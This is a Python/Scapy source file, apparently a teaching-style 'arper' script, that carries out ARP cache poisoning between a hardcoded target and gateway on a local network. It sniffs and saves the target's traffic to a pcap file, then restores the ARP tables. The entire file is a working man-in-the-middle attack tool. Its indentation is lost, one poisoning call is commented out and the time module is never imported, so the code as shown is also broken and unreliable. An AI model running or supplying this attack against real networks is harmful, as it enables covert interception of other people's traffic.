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arp.py
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arp.py
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from scapy.all import *
import os
import sys
import threading
interface = "eth0"
target_ip = "192.168.1.6"
gateway_ip = "192.168.1.2"
packet_count = 1000
poisoning = True
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
# slightly different method using send
print "[*] Restoring target..."
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
def get_mac(ip_address):
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
# return the MAC address from a response
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
global poisoning
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst= target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac
print "[*] Beginning the ARP poison. [CTRL-C to stop]"
while poisoning:
# send(poison_target)
send(poison_gateway)
time.sleep(2)
print "[*] ARP poison attack finished."
return
# set our interface
conf.iface = interface
# turn off output
conf.verb = 0
print "[*] Setting up %s" % interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway MAC. Exiting."
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target MAC. Exiting."
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip,target_mac)
# start poison thread
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()
try:
print "[*] Starting sniffer for %d packets" % packet_count
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
except KeyboardInterrupt:
pass
finally:
# write out the captured packets
print "[*] Writing packets to arper.pcap"
wrpcap('arper.pcap',packets)
poisoning = False
# wait for poisoning thread to exit
time.sleep(2)
# restore the network
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)